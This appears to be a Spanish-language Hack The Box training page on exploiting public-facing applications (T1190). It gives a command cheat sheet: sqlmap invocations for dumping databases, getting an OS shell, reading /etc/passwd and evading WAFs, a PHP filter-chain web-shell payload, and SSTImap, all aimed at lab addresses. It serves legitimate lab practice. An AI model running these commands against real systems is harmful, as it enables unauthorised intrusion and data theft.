T1190

Explotar una aplicación expuesta

Aprovechar un fallo en una aplicación accesible desde fuera (web, API, CMS) para ejecutar código o leer datos.

Cómo aparece en Hack The Box

Es la puerta de entrada de la gran mayoría de máquinas: inyecciones (SQL, comandos, SSTI), LFI, subida de ficheros, deserialización o un CVE público de la versión instalada. Abajo tienes cada variante con sus máquinas.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Se muestran 48 de 218. Entra en cada técnica del catálogo de arriba para verlas todas.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Payloads de inyección SQL › sqlmap

Probar un parámetro GET Atacante
sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs
Desde una petición guardada en Burp Atacante
sqlmap -r peticion.txt --batch --level 5 --risk 3
Formularios de la página Atacante
sqlmap -u 'http://10.10.11.20/login.php' --forms --batch
Volcar una tabla Atacante
sqlmap -r peticion.txt --batch -D app -T users --dump
Solo booleana y por tiempo Atacante
sqlmap -r peticion.txt --batch --technique=BT
Evadir filtros con tampers Atacante
sqlmap -r peticion.txt --batch --tamper=space2comment,between
Inyección en una cookie o cabecera Atacante
sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2

El asterisco marca dónde inyectar.

Shell del sistema Atacante
sqlmap -r peticion.txt --batch --os-shell
Leer un fichero Atacante
sqlmap -r peticion.txt --batch --file-read=/etc/passwd

LFI, SSTI, inyección de comandos y XXE › LFI

RCE sin subir nada (filter chain) Atacante
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

Genera una cadena php://filter enorme que, al incluirse, escribe ese código. Herramienta de Synacktiv.

LFI, SSTI, inyección de comandos y XXE › SSTI

SSTImap Atacante
python3 sstimap.py -u 'http://10.10.11.20/page?name=test'

sqlmap › Extras

Saltarse un WAF sencillo
sqlmap -r peticion.txt --batch --tamper=space2comment,between --random-agent
Inyección en una cookie
sqlmap -u http://box.htb/ --cookie='id=1*' --level 2 --batch

El asterisco marca dónde inyectar.

Herramientas

Chuletas relacionadas